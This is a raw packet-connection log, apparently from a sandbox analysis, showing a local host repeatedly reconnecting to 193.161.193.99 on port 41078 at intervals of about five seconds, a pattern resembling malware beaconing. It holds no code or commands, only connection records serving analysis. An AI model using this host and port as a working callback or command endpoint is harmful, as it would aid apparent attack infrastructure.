Mar 16, 2025 13:07:48.575709105 CET	49733	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:48.577557087 CET	49735	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:48.581975937 CET	41078	49733	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:48.583539963 CET	41078	49735	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:48.583626986 CET	49735	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:48.602715969 CET	49735	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:48.607438087 CET	41078	49735	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:50.249056101 CET	41078	49735	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:50.249130964 CET	49735	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:50.986131907 CET	49735	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:50.987365961 CET	49736	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:50.995867014 CET	41078	49735	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:50.996367931 CET	41078	49736	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:50.996870041 CET	49736	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:51.016592979 CET	49736	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:51.023139000 CET	41078	49736	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:52.672323942 CET	41078	49736	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:52.672497034 CET	49736	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:54.076241970 CET	49736	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:54.079453945 CET	49737	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:54.081075907 CET	41078	49736	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:54.084233999 CET	41078	49737	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:54.084320068 CET	49737	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:54.115282059 CET	49737	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:54.119955063 CET	41078	49737	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:55.728929996 CET	41078	49737	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:55.729006052 CET	49737	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:56.419436932 CET	49737	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:56.420870066 CET	49738	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:56.424520969 CET	41078	49737	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:56.425708055 CET	41078	49738	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:56.425781012 CET	49738	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:56.444322109 CET	49738	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:56.448980093 CET	41078	49738	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:58.072760105 CET	41078	49738	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:58.072840929 CET	49738	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:58.075757980 CET	49738	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:58.077258110 CET	49739	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:58.081449986 CET	41078	49738	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:58.082573891 CET	41078	49739	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:58.082726002 CET	49739	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:58.105207920 CET	49739	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:58.109982967 CET	41078	49739	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:59.733208895 CET	41078	49739	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:59.733305931 CET	49739	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:59.889202118 CET	49739	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:59.892013073 CET	49740	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:59.893937111 CET	41078	49739	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:59.896780968 CET	41078	49740	193.161.193.99	192.168.2.4
Mar 16, 2025 13:07:59.896927118 CET	49740	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:59.916521072 CET	49740	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:07:59.921627998 CET	41078	49740	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:01.545774937 CET	41078	49740	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:01.549762011 CET	49740	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:01.654769897 CET	49740	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:01.657316923 CET	49741	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:01.661290884 CET	41078	49740	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:01.663841963 CET	41078	49741	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:01.663939953 CET	49741	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:01.680188894 CET	49741	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:01.685086012 CET	41078	49741	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:03.307187080 CET	41078	49741	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:03.309387922 CET	49741	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:03.372983932 CET	49741	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:03.377844095 CET	49742	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:03.378217936 CET	41078	49741	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:03.382977962 CET	41078	49742	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:03.385351896 CET	49742	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:03.403126001 CET	49742	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:03.407866001 CET	41078	49742	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:05.045727015 CET	41078	49742	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:05.045830011 CET	49742	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.091939926 CET	49742	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.096676111 CET	41078	49742	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:09.097212076 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.101913929 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:09.101983070 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.147715092 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.152364016 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:09.252469063 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:09.257250071 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:10.155033112 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:10.159725904 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:10.746390104 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:10.746470928 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.263632059 CET	49743	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.267390966 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.268583059 CET	41078	49743	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:14.272106886 CET	41078	49744	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:14.272248983 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.400429010 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.405705929 CET	41078	49744	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:14.857330084 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:14.862041950 CET	41078	49744	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:15.917741060 CET	41078	49744	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:15.917810917 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:20.639467001 CET	49744	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:20.641007900 CET	49745	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:20.644331932 CET	41078	49744	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:20.645906925 CET	41078	49745	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:20.646033049 CET	49745	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:20.723440886 CET	49745	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:20.728123903 CET	41078	49745	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:22.292037010 CET	41078	49745	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:22.292140007 CET	49745	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.752585888 CET	49745	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.757875919 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.758475065 CET	41078	49745	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:25.763011932 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:25.763139009 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.804735899 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.809515953 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:25.904297113 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:25.909451008 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:27.154187918 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:27.159055948 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:27.420969009 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:27.421034098 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:30.919684887 CET	49746	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:30.921544075 CET	49747	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:30.924643993 CET	41078	49746	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:30.926233053 CET	41078	49747	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:30.926454067 CET	49747	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:30.982542038 CET	49747	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:30.987325907 CET	41078	49747	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:32.577254057 CET	41078	49747	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:32.577357054 CET	49747	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:36.021462917 CET	49747	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:36.026206970 CET	41078	49747	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:36.027545929 CET	49748	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:36.032187939 CET	41078	49748	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:36.032290936 CET	49748	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:36.221442938 CET	49748	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:36.226212025 CET	41078	49748	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:37.684722900 CET	41078	49748	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:37.684789896 CET	49748	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:41.263336897 CET	49748	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:41.265491962 CET	49749	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:41.268145084 CET	41078	49748	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:41.270266056 CET	41078	49749	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:41.270350933 CET	49749	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:41.314085960 CET	49749	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:41.318860054 CET	41078	49749	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:42.917805910 CET	41078	49749	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:42.917908907 CET	49749	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:46.373183012 CET	49749	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:46.375063896 CET	49750	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:46.378051996 CET	41078	49749	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:46.380060911 CET	41078	49750	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:46.380182028 CET	49750	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:46.480865955 CET	49750	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:46.485600948 CET	41078	49750	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:48.029269934 CET	41078	49750	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:48.029601097 CET	49750	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:51.904089928 CET	49750	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:51.906753063 CET	49751	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:51.908822060 CET	41078	49750	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:51.911429882 CET	41078	49751	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:51.911495924 CET	49751	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:51.938427925 CET	49751	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:51.943124056 CET	41078	49751	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:53.542082071 CET	41078	49751	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:53.542182922 CET	49751	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:56.969651937 CET	49751	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:56.971935987 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:56.976129055 CET	41078	49751	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:56.978941917 CET	41078	49752	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:56.979212046 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:57.034651041 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:57.039343119 CET	41078	49752	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:57.185497046 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:08:57.190148115 CET	41078	49752	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:58.622356892 CET	41078	49752	193.161.193.99	192.168.2.4
Mar 16, 2025 13:08:58.622668982 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:02.264595985 CET	49752	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:02.265280962 CET	49753	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:02.269398928 CET	41078	49752	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:02.270075083 CET	41078	49753	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:02.270301104 CET	49753	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:02.511905909 CET	49753	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:02.516983986 CET	41078	49753	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:03.921920061 CET	41078	49753	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:03.921972990 CET	49753	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.513559103 CET	49753	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.516824961 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.518313885 CET	41078	49753	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:07.521590948 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:07.521667004 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.560883045 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.566212893 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:07.576287031 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.581161022 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:07.591974974 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.596594095 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:07.701330900 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:07.706119061 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:09.189443111 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:09.189507008 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:12.999699116 CET	49754	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:13.000042915 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:13.005409002 CET	41078	49754	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:13.005424023 CET	41078	49755	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:13.005827904 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:13.077464104 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:13.082151890 CET	41078	49755	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:13.091820002 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:13.096530914 CET	41078	49755	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:14.654392958 CET	41078	49755	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:14.654556990 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:18.295644045 CET	49755	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:18.296391964 CET	49756	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:18.300368071 CET	41078	49755	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:18.301147938 CET	41078	49756	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:18.301285028 CET	49756	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:18.615691900 CET	49756	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:18.620485067 CET	41078	49756	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:19.949687004 CET	41078	49756	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:19.949764967 CET	49756	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.716996908 CET	49756	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.720458031 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.721757889 CET	41078	49756	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:23.725204945 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:23.725281954 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.765374899 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.770073891 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:23.966974974 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.971823931 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:23.982422113 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:23.987236977 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:24.060655117 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:24.065567017 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:25.392878056 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:25.392946959 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.154534101 CET	49757	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.157639980 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.159615040 CET	41078	49757	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:29.162761927 CET	41078	49758	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:29.162830114 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.199457884 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.204138041 CET	41078	49758	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:29.482573986 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:29.487298012 CET	41078	49758	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:30.809381008 CET	41078	49758	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:30.809763908 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:34.232552052 CET	49758	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:34.235542059 CET	49759	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:34.237637997 CET	41078	49758	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:34.240210056 CET	41078	49759	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:34.240298033 CET	49759	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:34.357696056 CET	49759	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:34.362416029 CET	41078	49759	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:35.920232058 CET	41078	49759	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:35.920325041 CET	49759	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.857486010 CET	49759	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.859621048 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.862241983 CET	41078	49759	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:39.864314079 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:39.864402056 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.903192997 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.907907963 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:39.920280933 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.924948931 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:39.983426094 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:39.988135099 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:40.264029980 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:40.268735886 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:41.532206059 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:41.532299042 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:45.357424974 CET	49760	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:45.359545946 CET	49761	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:45.363554001 CET	41078	49760	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:45.364615917 CET	41078	49761	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:45.364717960 CET	49761	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:45.410748005 CET	49761	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:45.415939093 CET	41078	49761	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:47.034221888 CET	41078	49761	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:47.034460068 CET	49761	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:50.498106956 CET	49761	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:50.500607967 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:50.502876043 CET	41078	49761	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:50.505727053 CET	41078	49762	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:50.505964994 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:50.597912073 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:50.602664948 CET	41078	49762	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:51.358052015 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:51.362919092 CET	41078	49762	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:52.157104015 CET	41078	49762	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:52.161848068 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.748111963 CET	49762	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.751099110 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.752837896 CET	41078	49762	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:55.755778074 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:55.755851984 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.791140079 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.795866013 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:55.824558973 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.829287052 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:55.936101913 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:55.940817118 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:56.045331001 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:09:56.050098896 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:57.407325029 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:09:57.407383919 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.248295069 CET	49763	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.250228882 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.254657984 CET	41078	49763	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:01.256843090 CET	41078	49764	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:01.256920099 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.312498093 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.319417953 CET	41078	49764	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:01.326561928 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:01.333451986 CET	41078	49764	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:02.924853086 CET	41078	49764	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:02.924968958 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:06.514064074 CET	49764	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:06.518821955 CET	41078	49764	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:06.523104906 CET	49765	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:06.527851105 CET	41078	49765	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:06.529831886 CET	49765	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:06.625868082 CET	49765	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:06.630667925 CET	41078	49765	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:08.169517994 CET	41078	49765	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:08.170176983 CET	49765	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:12.076328039 CET	49765	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:12.078972101 CET	49766	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:12.081063986 CET	41078	49765	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:12.083683014 CET	41078	49766	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:12.083755970 CET	49766	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:12.115642071 CET	49766	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:12.120302916 CET	41078	49766	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:13.755343914 CET	41078	49766	193.161.193.99	192.168.2.4
Mar 16, 2025 13:10:13.755417109 CET	49766	41078	192.168.2.4	193.161.193.99
Mar 16, 2025 13:10:18.107588053 CET	49766	41078	192.168.2.4	193.161.193.99
